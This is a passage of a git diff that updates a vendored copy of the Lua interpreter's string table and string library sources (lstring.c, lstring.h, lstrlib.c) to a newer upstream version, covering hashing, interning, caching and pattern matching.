b/client/deps/liblua/lstring.c @@ -1,17 +1,21 @@ /* -** $Id: lstring.c,v 2.26 2013/01/08 13:50:10 roberto Exp $ +** $Id: lstring.c $ ** String table (keeps all strings handled by Lua) ** See Copyright Notice in lua.h */ - -#include - #define lstring_c #define LUA_CORE +#include "lprefix.h" + + +#include + #include "lua.h" +#include "ldebug.h" +#include "ldo.h" #include "lmem.h" #include "lobject.h" #include "lstate.h" @@ -19,134 +23,195 @@ /* -** Lua will use at most ~(2^LUAI_HASHLIMIT) bytes from a string to -** compute its hash +** Maximum size for string table. */ -#if !defined(LUAI_HASHLIMIT) -#define LUAI_HASHLIMIT 5 -#endif +#define MAXSTRTB cast_int(luaM_limitN(MAX_INT, TString*)) /* ** equality for long strings */ int luaS_eqlngstr(TString *a, TString *b) { - size_t len = a->tsv.len; - lua_assert(a->tsv.tt == LUA_TLNGSTR && b->tsv.tt == LUA_TLNGSTR); + size_t len = a->u.lnglen; + lua_assert(a->tt == LUA_VLNGSTR && b->tt == LUA_VLNGSTR); return (a == b) || /* same instance or... */ - ((len == b->tsv.len) && /* equal length and ... */ - (memcmp(getstr(a), getstr(b), len) == 0)); /* equal contents */ -} - - -/* -** equality for strings -*/ -int luaS_eqstr(TString *a, TString *b) { - return (a->tsv.tt == b->tsv.tt) && - (a->tsv.tt == LUA_TSHRSTR ? eqshrstr(a, b) : luaS_eqlngstr(a, b)); + ((len == b->u.lnglen) && /* equal length and ... */ + (memcmp(getlngstr(a), getlngstr(b), len) == 0)); /* equal contents */ } unsigned int luaS_hash(const char *str, size_t l, unsigned int seed) { - unsigned int h = seed ^ cast(unsigned int, l); - size_t l1; - size_t step = (l >> LUAI_HASHLIMIT) + 1; - for (l1 = l; l1 >= step; l1 -= step) - h = h ^ ((h << 5) + (h >> 2) + cast_byte(str[l1 - 1])); + unsigned int h = seed ^ cast_uint(l); + for (; l > 0; l--) + h ^= ((h << 5) + (h >> 2) + cast_byte(str[l - 1])); return h; } -/* -** resizes the string table -*/ -void luaS_resize(lua_State *L, int newsize) { - int i; - stringtable *tb = &G(L)->strt; - /* cannot resize while GC is traversing strings */ - luaC_runtilstate(L, ~bitmask(GCSsweepstring)); - if (newsize > tb->size) { - luaM_reallocvector(L, tb->hash, tb->size, newsize, GCObject *); - for (i = tb->size; i < newsize; i++) tb->hash[i] = NULL; +unsigned int luaS_hashlongstr(TString *ts) { + lua_assert(ts->tt == LUA_VLNGSTR); + if (ts->extra == 0) { /* no hash? */ + size_t len = ts->u.lnglen; + ts->hash = luaS_hash(getlngstr(ts), len, ts->hash); + ts->extra = 1; /* now it has its hash */ } - /* rehash */ - for (i = 0; i < tb->size; i++) { - GCObject *p = tb->hash[i]; - tb->hash[i] = NULL; - while (p) { /* for each node in the list */ - GCObject *next = gch(p)->next; /* save next */ - unsigned int h = lmod(gco2ts(p)->hash, newsize); /* new position */ - gch(p)->next = tb->hash[h]; /* chain it */ - tb->hash[h] = p; - resetoldbit(p); /* see MOVE OLD rule */ - p = next; + return ts->hash; +} + + +static void tablerehash(TString **vect, int osize, int nsize) { + int i; + for (i = osize; i < nsize; i++) /* clear new elements */ + vect[i] = NULL; + for (i = 0; i < osize; i++) { /* rehash old part of the array */ + TString *p = vect[i]; + vect[i] = NULL; + while (p) { /* for each string in the list */ + TString *hnext = p->u.hnext; /* save next */ + unsigned int h = lmod(p->hash, nsize); /* new position */ + p->u.hnext = vect[h]; /* chain it into array */ + vect[h] = p; + p = hnext; } } - if (newsize < tb->size) { - /* shrinking slice must be empty */ - lua_assert(tb->hash[newsize] == NULL && tb->hash[tb->size - 1] == NULL); - luaM_reallocvector(L, tb->hash, tb->size, newsize, GCObject *); - } - tb->size = newsize; } +/* +** Resize the string table. If allocation fails, keep the current size. +** (This can degrade performance, but any non-zero size should work +** correctly.) +*/ +void luaS_resize(lua_State *L, int nsize) { + stringtable *tb = &G(L)->strt; + int osize = tb->size; + TString **newvect; + if (nsize < osize) /* shrinking table? */ + tablerehash(tb->hash, osize, nsize); /* depopulate shrinking part */ + newvect = luaM_reallocvector(L, tb->hash, osize, nsize, TString *); + if (l_unlikely(newvect == NULL)) { /* reallocation failed? */ + if (nsize < osize) /* was it shrinking table? */ + tablerehash(tb->hash, nsize, osize); /* restore to original size */ + /* leave table as it was */ + } else { /* allocation succeeded */ + tb->hash = newvect; + tb->size = nsize; + if (nsize > osize) + tablerehash(newvect, osize, nsize); /* rehash for new size */ + } +} + + +/* +** Clear API string cache. (Entries cannot be empty, so fill them with +** a non-collectable string.) +*/ +void luaS_clearcache(global_State *g) { + int i, j; + for (i = 0; i < STRCACHE_N; i++) + for (j = 0; j < STRCACHE_M; j++) { + if (iswhite(g->strcache[i][j])) /* will entry be collected? */ + g->strcache[i][j] = g->memerrmsg; /* replace it with something fixed */ + } +} + + +/* +** Initialize the string table and the string cache +*/ +void luaS_init(lua_State *L) { + global_State *g = G(L); + int i, j; + stringtable *tb = &G(L)->strt; + tb->hash = luaM_newvector(L, MINSTRTABSIZE, TString *); + tablerehash(tb->hash, 0, MINSTRTABSIZE); /* clear array */ + tb->size = MINSTRTABSIZE; + /* pre-create memory-error message */ + g->memerrmsg = luaS_newliteral(L, MEMERRMSG); + luaC_fix(L, obj2gco(g->memerrmsg)); /* it should never be collected */ + for (i = 0; i < STRCACHE_N; i++) /* fill cache with valid strings */ + for (j = 0; j < STRCACHE_M; j++) + g->strcache[i][j] = g->memerrmsg; +} + + + /* ** creates a new string object */ -static TString *createstrobj(lua_State *L, const char *str, size_t l, - int tag, unsigned int h, GCObject **list) { +static TString *createstrobj(lua_State *L, size_t l, int tag, unsigned int h) { TString *ts; + GCObject *o; size_t totalsize; /* total size of TString object */ - totalsize = sizeof(TString) + ((l + 1) * sizeof(char)); - ts = &luaC_newobj(L, tag, totalsize, list, 0)->ts; - ts->tsv.len = l; - ts->tsv.hash = h; - ts->tsv.extra = 0; - memcpy(ts + 1, str, l * sizeof(char)); - ((char *)(ts + 1))[l] = '\0'; /* ending 0 */ + totalsize = sizelstring(l); + o = luaC_newobj(L, tag, totalsize); + ts = gco2ts(o); + ts->hash = h; + ts->extra = 0; + getstr(ts)[l] = '\0'; /* ending 0 */ return ts; } -/* -** creates a new short string, inserting it into string table -*/ -static TString *newshrstr(lua_State *L, const char *str, size_t l, - unsigned int h) { - GCObject **list; /* (pointer to) list where it will be inserted */ +TString *luaS_createlngstrobj(lua_State *L, size_t l) { + TString *ts = createstrobj(L, l, LUA_VLNGSTR, G(L)->seed); + ts->u.lnglen = l; + ts->shrlen = 0xFF; /* signals that it is a long string */ + return ts; +} + + +void luaS_remove(lua_State *L, TString *ts) { stringtable *tb = &G(L)->strt; - TString *s; - if (tb->nuse >= cast(lu_int32, tb->size) && tb->size <= MAX_INT / 2) - luaS_resize(L, tb->size * 2); /* too crowded */ - list = &tb->hash[lmod(h, tb->size)]; - s = createstrobj(L, str, l, LUA_TSHRSTR, h, list); - tb->nuse++; - return s; + TString **p = &tb->hash[lmod(ts->hash, tb->size)]; + while (*p != ts) /* find previous element */ + p = &(*p)->u.hnext; + *p = (*p)->u.hnext; /* remove element from its list */ + tb->nuse--; +} + + +static void growstrtab(lua_State *L, stringtable *tb) { + if (l_unlikely(tb->nuse == MAX_INT)) { /* too many strings? */ + luaC_fullgc(L, 1); /* try to free some... */ + if (tb->nuse == MAX_INT) /* still too many? */ + luaM_error(L); /* cannot even create a message... */ + } + if (tb->size <= MAXSTRTB / 2) /* can grow string table? */ + luaS_resize(L, tb->size * 2); } /* -** checks whether short string exists and reuses it or creates a new one +** Checks whether short string exists and reuses it or creates a new one. */ static TString *internshrstr(lua_State *L, const char *str, size_t l) { - GCObject *o; + TString *ts; global_State *g = G(L); + stringtable *tb = &g->strt; unsigned int h = luaS_hash(str, l, g->seed); - for (o = g->strt.hash[lmod(h, g->strt.size)]; - o != NULL; - o = gch(o)->next) { - TString *ts = rawgco2ts(o); - if (h == ts->tsv.hash && - l == ts->tsv.len && - (memcmp(str, getstr(ts), l * sizeof(char)) == 0)) { - if (isdead(G(L), o)) /* string is dead (but was not collected yet)? */ - changewhite(o); /* resurrect it */ + TString **list = &tb->hash[lmod(h, tb->size)]; + lua_assert(str != NULL); /* otherwise 'memcmp'/'memcpy' are undefined */ + for (ts = *list; ts != NULL; ts = ts->u.hnext) { + if (l == ts->shrlen && (memcmp(str, getshrstr(ts), l * sizeof(char)) == 0)) { + /* found! */ + if (isdead(g, ts)) /* dead (but not collected yet)? */ + changewhite(ts); /* resurrect it */ return ts; } } - return newshrstr(L, str, l, h); /* not found; create a new string */ + /* else must create a new string */ + if (tb->nuse >= tb->size) { /* need to grow string table? */ + growstrtab(L, tb); + list = &tb->hash[lmod(h, tb->size)]; /* rehash with new size */ + } + ts = createstrobj(L, l, LUA_VSHRSTR, h); + ts->shrlen = cast_byte(l); + memcpy(getshrstr(ts), str, l * sizeof(char)); + ts->u.hnext = *list; + *list = ts; + tb->nuse++; + return ts; } @@ -157,29 +222,52 @@ TString *luaS_newlstr(lua_State *L, const char *str, size_t l) { if (l <= LUAI_MAXSHORTLEN) /* short string? */ return internshrstr(L, str, l); else { - if (l + 1 > (MAX_SIZET - sizeof(TString)) / sizeof(char)) + TString *ts; + if (l_unlikely(l * sizeof(char) >= (MAX_SIZE - sizeof(TString)))) luaM_toobig(L); - return createstrobj(L, str, l, LUA_TLNGSTR, G(L)->seed, NULL); + ts = luaS_createlngstrobj(L, l); + memcpy(getlngstr(ts), str, l * sizeof(char)); + return ts; } } /* -** new zero-terminated string +** Create or reuse a zero-terminated string, first checking in the +** cache (using the string address as a key). The cache can contain +** only zero-terminated strings, so it is safe to use 'strcmp' to +** check hits. */ TString *luaS_new(lua_State *L, const char *str) { - return luaS_newlstr(L, str, strlen(str)); + unsigned int i = point2uint(str) % STRCACHE_N; /* hash */ + int j; + TString **p = G(L)->strcache[i]; + for (j = 0; j < STRCACHE_M; j++) { + if (strcmp(str, getstr(p[j])) == 0) /* hit? */ + return p[j]; /* that is it */ + } + /* normal route */ + for (j = STRCACHE_M - 1; j > 0; j--) + p[j] = p[j - 1]; /* move out last element */ + /* new element is first in the list */ + p[0] = luaS_newlstr(L, str, strlen(str)); + return p[0]; } -Udata *luaS_newudata(lua_State *L, size_t s, Table *e) { +Udata *luaS_newudata(lua_State *L, size_t s, int nuvalue) { Udata *u; - if (s > MAX_SIZET - sizeof(Udata)) + int i; + GCObject *o; + if (l_unlikely(s > MAX_SIZE - udatamemoffset(nuvalue))) luaM_toobig(L); - u = &luaC_newobj(L, LUA_TUSERDATA, sizeof(Udata) + s, NULL, 0)->u; - u->uv.len = s; - u->uv.metatable = NULL; - u->uv.env = e; + o = luaC_newobj(L, LUA_VUSERDATA, sizeudata(nuvalue, s)); + u = gco2u(o); + u->len = s; + u->nuvalue = nuvalue; + u->metatable = NULL; + for (i = 0; i < nuvalue; i++) + setnilvalue(&u->uv[i].uv); return u; } diff --git a/client/deps/liblua/lstring.h b/client/deps/liblua/lstring.h index 374483fca..1ace7f013 100644 --- a/client/deps/liblua/lstring.h +++ b/client/deps/liblua/lstring.h @@ -1,5 +1,5 @@ /* -** $Id: lstring.h,v 1.49 2012/02/01 21:57:15 roberto Exp $ +** $Id: lstring.h $ ** String table (keep all strings handled by Lua) ** See Copyright Notice in lua.h */ @@ -12,35 +12,46 @@ #include "lstate.h" -#define sizestring(s) (sizeof(union TString)+((s)->len+1)*sizeof(char)) +/* +** Memory-allocation error message must be preallocated (it cannot +** be created after memory is exhausted) +*/ +#define MEMERRMSG "not enough memory" -#define sizeudata(u) (sizeof(union Udata)+(u)->len) -#define luaS_newliteral(L, s) (luaS_newlstr(L, "" s, \ - (sizeof(s)/sizeof(char))-1)) +/* +** Size of a TString: Size of the header plus space for the string +** itself (including final '\0'). +*/ +#define sizelstring(l) (offsetof(TString, contents) + ((l) + 1) * sizeof(char)) -#define luaS_fix(s) l_setbit((s)->tsv.marked, FIXEDBIT) +#define luaS_newliteral(L, s) (luaS_newlstr(L, "" s, \ + (sizeof(s)/sizeof(char))-1)) /* ** test whether a string is a reserved word */ -#define isreserved(s) ((s)->tsv.tt == LUA_TSHRSTR && (s)->tsv.extra > 0) +#define isreserved(s) ((s)->tt == LUA_VSHRSTR && (s)->extra > 0) /* ** equality for short strings, which are always internalized */ -#define eqshrstr(a,b) check_exp((a)->tsv.tt == LUA_TSHRSTR, (a) == (b)) +#define eqshrstr(a,b) check_exp((a)->tt == LUA_VSHRSTR, (a) == (b)) LUAI_FUNC unsigned int luaS_hash(const char *str, size_t l, unsigned int seed); +LUAI_FUNC unsigned int luaS_hashlongstr(TString *ts); LUAI_FUNC int luaS_eqlngstr(TString *a, TString *b); -LUAI_FUNC int luaS_eqstr(TString *a, TString *b); LUAI_FUNC void luaS_resize(lua_State *L, int newsize); -LUAI_FUNC Udata *luaS_newudata(lua_State *L, size_t s, Table *e); +LUAI_FUNC void luaS_clearcache(global_State *g); +LUAI_FUNC void luaS_init(lua_State *L); +LUAI_FUNC void luaS_remove(lua_State *L, TString *ts); +LUAI_FUNC Udata *luaS_newudata(lua_State *L, size_t s, int nuvalue); LUAI_FUNC TString *luaS_newlstr(lua_State *L, const char *str, size_t l); LUAI_FUNC TString *luaS_new(lua_State *L, const char *str); +LUAI_FUNC TString *luaS_createlngstrobj(lua_State *L, size_t l); #endif diff --git a/client/deps/liblua/lstrlib.c b/client/deps/liblua/lstrlib.c index ed6f1b7b7..56d88ea99 100644 --- a/client/deps/liblua/lstrlib.c +++ b/client/deps/liblua/lstrlib.c @@ -1,19 +1,25 @@ /* -** $Id: lstrlib.c,v 1.178 2012/08/14 18:12:34 roberto Exp $ +** $Id: lstrlib.c $ ** Standard library for string operations and pattern-matching ** See Copyright Notice in lua.h */ +#define lstrlib_c +#define LUA_LIB + +#include "lprefix.h" + #include +#include +#include +#include +#include #include #include #include #include -#define lstrlib_c -#define LUA_LIB - #include "lua.h" #include "lauxlib.h" @@ -22,15 +28,27 @@ /* ** maximum number of captures that a pattern can do during -** pattern-matching. This limit is arbitrary. +** pattern-matching. This limit is arbitrary, but must fit in +** an unsigned char. */ #if !defined(LUA_MAXCAPTURES) -#define LUA_MAXCAPTURES 32 +#define LUA_MAXCAPTURES 32 #endif -/* macro to `unsign' a character */ -#define uchar(c) ((unsigned char)(c)) +/* macro to 'unsign' a character */ +#define uchar(c) ((unsigned char)(c)) + + +/* +** Some sizes are better limited to fit in 'int', but must also fit in +** 'size_t'. (We assume that 'lua_Integer' cannot be smaller than 'int'.) +*/ +#define MAX_SIZET ((size_t)(~(size_t)0)) + +#define MAXSIZE \ + (sizeof(size_t) < sizeof(int) ? MAX_SIZET : (size_t)(INT_MAX)) + @@ -42,23 +60,50 @@ static int str_len(lua_State *L) { } -/* translate a relative string position: negative means back from end */ -static size_t posrelat(ptrdiff_t pos, size_t len) { - if (pos >= 0) return (size_t)pos; - else if (0u - (size_t)pos > len) return 0; - else return len - ((size_t) - pos) + 1; +/* +** translate a relative initial string position +** (negative means back from end): clip result to [1, inf). +** The length of any string in Lua must fit in a lua_Integer, +** so there are no overflows in the casts. +** The inverted comparison avoids a possible overflow +** computing '-pos'. +*/ +static size_t posrelatI(lua_Integer pos, size_t len) { + if (pos > 0) + return (size_t)pos; + else if (pos == 0) + return 1; + else if (pos < -(lua_Integer)len) /* inverted comparison */ + return 1; /* clip to 1 */ + else return len + (size_t)pos + 1; +} + + +/* +** Gets an optional ending string position from argument 'arg', +** with default value 'def'. +** Negative means back from end: clip result to [0, len] +*/ +static size_t getendpos(lua_State *L, int arg, lua_Integer def, + size_t len) { + lua_Integer pos = luaL_optinteger(L, arg, def); + if (pos > (lua_Integer)len) + return len; + else if (pos >= 0) + return (size_t)pos; + else if (pos < -(lua_Integer)len) + return 0; + else return len + (size_t)pos + 1; } static int str_sub(lua_State *L) { size_t l; const char *s = luaL_checklstring(L, 1, &l); - size_t start = posrelat(luaL_checkinteger(L, 2), l); - size_t end = posrelat(luaL_optinteger(L, 3, -1), l); - if (start < 1) start = 1; - if (end > l) end = l; + size_t start = posrelatI(luaL_checkinteger(L, 2), l); + size_t end = getendpos(L, 3, -1, l); if (start <= end) - lua_pushlstring(L, s + start - 1, end - start + 1); + lua_pushlstring(L, s + start - 1, (end - start) + 1); else lua_pushliteral(L, ""); return 1; } @@ -102,25 +147,23 @@ static int str_upper(lua_State *L) { } -/* reasonable limit to avoid arithmetic overflow */ -#define MAXSIZE ((~(size_t)0) >> 1) - static int str_rep(lua_State *L) { size_t l, lsep; const char *s = luaL_checklstring(L, 1, &l); - int n = luaL_checkint(L, 2); + lua_Integer n = luaL_checkinteger(L, 2); const char *sep = luaL_optlstring(L, 3, "", &lsep); - if (n <= 0) lua_pushliteral(L, ""); - else if (l + lsep < l || l + lsep >= MAXSIZE / n) /* may overflow? */ + if (n <= 0) + lua_pushliteral(L, ""); + else if (l_unlikely(l + lsep < l || l + lsep > MAXSIZE / n)) return luaL_error(L, "resulting string too large"); else { - size_t totallen = n * l + (n - 1) * lsep; + size_t totallen = (size_t)n * l + (size_t)(n - 1) * lsep; luaL_Buffer b; char *p = luaL_buffinitsize(L, &b, totallen); while (n-- > 1) { /* first n-1 copies (followed by separator) */ memcpy(p, s, l * sizeof(char)); p += l; - if (lsep > 0) { /* avoid empty 'memcpy' (may be expensive) */ + if (lsep > 0) { /* empty 'memcpy' is not that cheap */ memcpy(p, sep, lsep * sizeof(char)); p += lsep; } @@ -135,15 +178,14 @@ static int str_rep(lua_State *L) { static int str_byte(lua_State *L) { size_t l; const char *s = luaL_checklstring(L, 1, &l); - size_t posi = posrelat(luaL_optinteger(L, 2, 1), l); - size_t pose = posrelat(luaL_optinteger(L, 3, posi), l); + lua_Integer pi = luaL_optinteger(L, 2, 1); + size_t posi = posrelatI(pi, l); + size_t pose = getendpos(L, 3, pi, l); int n, i; - if (posi < 1) posi = 1; - if (pose > l) pose = l; if (posi > pose) return 0; /* empty interval; return no values */ - n = (int)(pose - posi + 1); - if (posi + n <= pose) /* (size_t -> int) overflow? */ + if (l_unlikely(pose - posi >= (size_t)INT_MAX)) /* arithmetic overflow? */ return luaL_error(L, "string slice too long"); + n = (int)(pose - posi) + 1; luaL_checkstack(L, n, "string slice too long"); for (i = 0; i < n; i++) lua_pushinteger(L, uchar(s[posi + i - 1])); @@ -157,8 +199,8 @@ static int str_char(lua_State *L) { luaL_Buffer b; char *p = luaL_buffinitsize(L, &b, n); for (i = 1; i <= n; i++) { - int c = luaL_checkint(L, i); - luaL_argcheck(L, uchar(c) == c, i, "value out of range"); + lua_Unsigned c = (lua_Unsigned)luaL_checkinteger(L, i); + luaL_argcheck(L, c <= (lua_Unsigned)UCHAR_MAX, i, "value out of range"); p[i - 1] = uchar(c); } luaL_pushresultsize(&b, n); @@ -166,26 +208,142 @@ static int str_char(lua_State *L) { } -static int writer(lua_State *L, const void *b, size_t size, void *B) { - (void)L; - luaL_addlstring((luaL_Buffer *) B, (const char *)b, size); +/* +** Buffer to store the result of 'string.dump'. It must be initialized +** after the call to 'lua_dump', to ensure that the function is on the +** top of the stack when 'lua_dump' is called. ('luaL_buffinit' might +** push stuff.) +*/ +struct str_Writer { + int init; /* true iff buffer has been initialized */ + luaL_Buffer B; +}; + + +static int writer(lua_State *L, const void *b, size_t size, void *ud) { + struct str_Writer *state = (struct str_Writer *)ud; + if (!state->init) { + state->init = 1; + luaL_buffinit(L, &state->B); + } + luaL_addlstring(&state->B, (const char *)b, size); return 0; } static int str_dump(lua_State *L) { - luaL_Buffer b; + struct str_Writer state; + int strip = lua_toboolean(L, 2); luaL_checktype(L, 1, LUA_TFUNCTION); - lua_settop(L, 1); - luaL_buffinit(L, &b); - if (lua_dump(L, writer, &b) != 0) + lua_settop(L, 1); /* ensure function is on the top of the stack */ + state.init = 0; + if (l_unlikely(lua_dump(L, writer, &state, strip) != 0)) return luaL_error(L, "unable to dump given function"); - luaL_pushresult(&b); + luaL_pushresult(&state.B); return 1; } +/* +** {====================================================== +** METAMETHODS +** ======================================================= +*/ + +#if defined(LUA_NOCVTS2N) /* { */ + +/* no coercion from strings to numbers */ + +static const luaL_Reg stringmetamethods[] = { + {"__index", NULL}, /* placeholder */ + {NULL, NULL} +}; + +#else /* }{ */ + +static int tonum(lua_State *L, int arg) { + if (lua_type(L, arg) == LUA_TNUMBER) { /* already a number? */ + lua_pushvalue(L, arg); + return 1; + } else { /* check whether it is a numerical string */ + size_t len; + const char *s = lua_tolstring(L, arg, &len); + return (s != NULL && lua_stringtonumber(L, s) == len + 1); + } +} + + +static void trymt(lua_State *L, const char *mtname) { + lua_settop(L, 2); /* back to the original arguments */ + if (l_unlikely(lua_type(L, 2) == LUA_TSTRING || + !luaL_getmetafield(L, 2, mtname))) + luaL_error(L, "attempt to %s a '%s' with a '%s'", mtname + 2, + luaL_typename(L, -2), luaL_typename(L, -1)); + lua_insert(L, -3); /* put metamethod before arguments */ + lua_call(L, 2, 1); /* call metamethod */ +} + + +static int arith(lua_State *L, int op, const char *mtname) { + if (tonum(L, 1) && tonum(L, 2)) + lua_arith(L, op); /* result will be on the top */ + else + trymt(L, mtname); + return 1; +} + + +static int arith_add(lua_State *L) { + return arith(L, LUA_OPADD, "__add"); +} + +static int arith_sub(lua_State *L) { + return arith(L, LUA_OPSUB, "__sub"); +} + +static int arith_mul(lua_State *L) { + return arith(L, LUA_OPMUL, "__mul"); +} + +static int arith_mod(lua_State *L) { + return arith(L, LUA_OPMOD, "__mod"); +} + +static int arith_pow(lua_State *L) { + return arith(L, LUA_OPPOW, "__pow"); +} + +static int arith_div(lua_State *L) { + return arith(L, LUA_OPDIV, "__div"); +} + +static int arith_idiv(lua_State *L) { + return arith(L, LUA_OPIDIV, "__idiv"); +} + +static int arith_unm(lua_State *L) { + return arith(L, LUA_OPUNM, "__unm"); +} + + +static const luaL_Reg stringmetamethods[] = { + {"__add", arith_add}, + {"__sub", arith_sub}, + {"__mul", arith_mul}, + {"__mod", arith_mod}, + {"__pow", arith_pow}, + {"__div", arith_div}, + {"__idiv", arith_idiv}, + {"__unm", arith_unm}, + {"__index", NULL}, /* placeholder */ + {NULL, NULL} +}; + +#endif /* } */ + +/* }====================================================== */ + /* ** {====================================================== ** PATTERN MATCHING @@ -193,17 +351,17 @@ static int str_dump(lua_State *L) { */ -#define CAP_UNFINISHED (-1) -#define CAP_POSITION (-2) +#define CAP_UNFINISHED (-1) +#define CAP_POSITION (-2) typedef struct MatchState { - int matchdepth; /* control for recursive depth (to avoid C stack overflow) */ const char *src_init; /* init of source string */ const char *src_end; /* end ('\0') of source string */ const char *p_end; /* end ('\0') of pattern */ lua_State *L; - int level; /* total number of captures (finished or unfinished) */ + int matchdepth; /* control for recursive depth (to avoid C stack overflow) */ + unsigned char level; /* total number of captures (finished or unfinished) */ struct { const char *init; ptrdiff_t len; @@ -217,17 +375,18 @@ static const char *match(MatchState *ms, const char *s, const char *p); /* maximum recursion depth for 'match' */ #if !defined(MAXCCALLS) -#define MAXCCALLS 200 +#define MAXCCALLS 200 #endif -#define L_ESC '%' -#define SPECIALS "^$*+?.([%-" +#define L_ESC '%' +#define SPECIALS "^$*+?.([%-" static int check_capture(MatchState *ms, int l) { l -= '1'; - if (l < 0 || l >= ms->level || ms->capture[l].len == CAP_UNFINISHED) + if (l_unlikely(l < 0 || l >= ms->level || + ms->capture[l].len == CAP_UNFINISHED)) return luaL_error(ms->L, "invalid capture index %%%d", l + 1); return l; } @@ -244,17 +403,17 @@ static int capture_to_close(MatchState *ms) { static const char *classend(MatchState *ms, const char *p) { switch (*p++) { case L_ESC: { - if (p == ms->p_end) - luaL_error(ms->L, "malformed pattern (ends with " LUA_QL("%%") ")"); + if (l_unlikely(p == ms->p_end)) + luaL_error(ms->L, "malformed pattern (ends with '%%')"); return p + 1; } case '[': { if (*p == '^') p++; - do { /* look for a `]' */ - if (p == ms->p_end) - luaL_error(ms->L, "malformed pattern (missing " LUA_QL("]") ")"); + do { /* look for a ']' */ + if (l_unlikely(p == ms->p_end)) + luaL_error(ms->L, "malformed pattern (missing ']')"); if (*(p++) == L_ESC && p < ms->p_end) - p++; /* skip escapes (e.g. `%]') */ + p++; /* skip escapes (e.g. '%]') */ } while (*p != ']'); return p + 1; } @@ -312,7 +471,7 @@ static int matchbracketclass(int c, const char *p, const char *ec) { int sig = 1; if (*(p + 1) == '^') { sig = 0; - p++; /* skip the `^' */ + p++; /* skip the '^' */ } while (++p < ec) { if (*p == L_ESC) { @@ -351,9 +510,8 @@ static int singlematch(MatchState *ms, const char *s, const char *p, static const char *matchbalance(MatchState *ms, const char *s, const char *p) { - if (p >= ms->p_end - 1) - luaL_error(ms->L, "malformed pattern " - "(missing arguments to " LUA_QL("%%b") ")"); + if (l_unlikely(p >= ms->p_end - 1)) + luaL_error(ms->L, "malformed pattern (missing arguments to '%%b')"); if (*s != *p) return NULL; else { int b = *p; @@ -434,9 +592,9 @@ static const char *match_capture(MatchState *ms, const char *s, int l) { static const char *match(MatchState *ms, const char *s, const char *p) { - if (ms->matchdepth-- == 0) + if (l_unlikely(ms->matchdepth-- == 0)) luaL_error(ms->L, "pattern too complex"); -init: /* using goto's to optimize tail recursion */ +init: /* using goto to optimize tail recursion */ if (p != ms->p_end) { /* end of pattern? */ switch (*p) { case '(': { /* start capture */ @@ -451,7 +609,7 @@ init: /* using goto's to optimize tail recursion */ break; } case '$': { - if ((p + 1) != ms->p_end) /* is the `$' the last char in pattern? */ + if ((p + 1) != ms->p_end) /* is the '$' the last char in pattern? */ goto dflt; /* no; go to default */ s = (s == ms->src_end) ? s : NULL; /* check end of string */ break; @@ -470,9 +628,8 @@ init: /* using goto's to optimize tail recursion */ const char *ep; char previous; p += 2; - if (*p != '[') - luaL_error(ms->L, "missing " LUA_QL("[") " after " - LUA_QL("%%f") " in pattern"); + if (l_unlikely(*p != '[')) + luaL_error(ms->L, "missing '[' after '%%f' in pattern"); ep = classend(ms, p); /* points to what is next */ previous = (s == ms->src_init) ? '\0' : *(s - 1); if (!matchbracketclass(uchar(previous), p, ep - 1) && @@ -529,7 +686,7 @@ dflt: { /* pattern class plus optional suffix */ } case '+': /* 1 or more repetitions */ s++; /* 1 match already done */ - /* go through */ + /* FALLTHROUGH */ case '*': /* 0 or more repetitions */ s = max_expand(ms, s, p, ep); break; @@ -555,16 +712,16 @@ dflt: { /* pattern class plus optional suffix */ static const char *lmemfind(const char *s1, size_t l1, const char *s2, size_t l2) { if (l2 == 0) return s1; /* empty strings are everywhere */ - else if (l2 > l1) return NULL; /* avoids a negative `l1' */ + else if (l2 > l1) return NULL; /* avoids a negative 'l1' */ else { - const char *init; /* to search for a `*s2' inside `s1' */ - l2--; /* 1st char will be checked by `memchr' */ - l1 = l1 - l2; /* `s2' cannot be found after that */ + const char *init; /* to search for a '*s2' inside 's1' */ + l2--; /* 1st char will be checked by 'memchr' */ + l1 = l1 - l2; /* 's2' cannot be found after that */ while (l1 > 0 && (init = (const char *)memchr(s1, *s2, l1)) != NULL) { init++; /* 1st char is already checked */ if (memcmp(init, s2 + 1, l2) == 0) return init - 1; - else { /* correct `l1' and `s1' to try again */ + else { /* correct 'l1' and 's1' to try again */ l1 -= init - s1; s1 = init; } @@ -574,21 +731,42 @@ static const char *lmemfind(const char *s1, size_t l1, } +/* +** get information about the i-th capture. If there are no captures +** and 'i==0', return information about the whole match, which +** is the range 's'..'e'. If the capture is a string, return +** its length and put its address in '*cap'. If it is an integer +** (a position), push it on the stack and return CAP_POSITION. +*/ +static size_t get_onecapture(MatchState *ms, int i, const char *s, + const char *e, const char **cap) { + if (i >= ms->level) { + if (l_unlikely(i != 0)) + luaL_error(ms->L, "invalid capture index %%%d", i + 1); + *cap = s; + return e - s; + } else { + ptrdiff_t capl = ms->capture[i].len; + *cap = ms->capture[i].init; + if (l_unlikely(capl == CAP_UNFINISHED)) + luaL_error(ms->L, "unfinished capture"); + else if (capl == CAP_POSITION) + lua_pushinteger(ms->L, (ms->capture[i].init - ms->src_init) + 1); + return capl; + } +} + + +/* +** Push the i-th capture on the stack. +*/ static void push_onecapture(MatchState *ms, int i, const char *s, const char *e) { - if (i >= ms->level) { - if (i == 0) /* ms->level == 0, too */ - lua_pushlstring(ms->L, s, e - s); /* add whole match */ - else - luaL_error(ms->L, "invalid capture index"); - } else { - ptrdiff_t l = ms->capture[i].len; - if (l == CAP_UNFINISHED) luaL_error(ms->L, "unfinished capture"); - if (l == CAP_POSITION) - lua_pushinteger(ms->L, ms->capture[i].init - ms->src_init + 1); - else - lua_pushlstring(ms->L, ms->capture[i].init, l); - } + const char *cap; + ptrdiff_t l = get_onecapture(ms, i, s, e, &cap); + if (l != CAP_POSITION) + lua_pushlstring(ms->L, cap, l); + /* else position was already pushed */ } @@ -614,45 +792,55 @@ static int nospecials(const char *p, size_t l) { } +static void prepstate(MatchState *ms, lua_State *L, + const char *s, size_t ls, const char *p, size_t lp) { + ms->L = L; + ms->matchdepth = MAXCCALLS; + ms->src_init = s; + ms->src_end = s + ls; + ms->p_end = p + lp; +} + + +static void reprepstate(MatchState *ms) { + ms->level = 0; + lua_assert(ms->matchdepth == MAXCCALLS); +} + + static int str_find_aux(lua_State *L, int find) { size_t ls, lp; const char *s = luaL_checklstring(L, 1, &ls); const char *p = luaL_checklstring(L, 2, &lp); - size_t init = posrelat(luaL_optinteger(L, 3, 1), ls); - if (init < 1) init = 1; - else if (init > ls + 1) { /* start after string's end? */ - lua_pushnil(L); /* cannot find anything */ + size_t init = posrelatI(luaL_optinteger(L, 3, 1), ls) - 1; + if (init > ls) { /* start after string's end? */ + luaL_pushfail(L); /* cannot find anything */ return 1; } /* explicit request or no special characters? */ if (find && (lua_toboolean(L, 4) || nospecials(p, 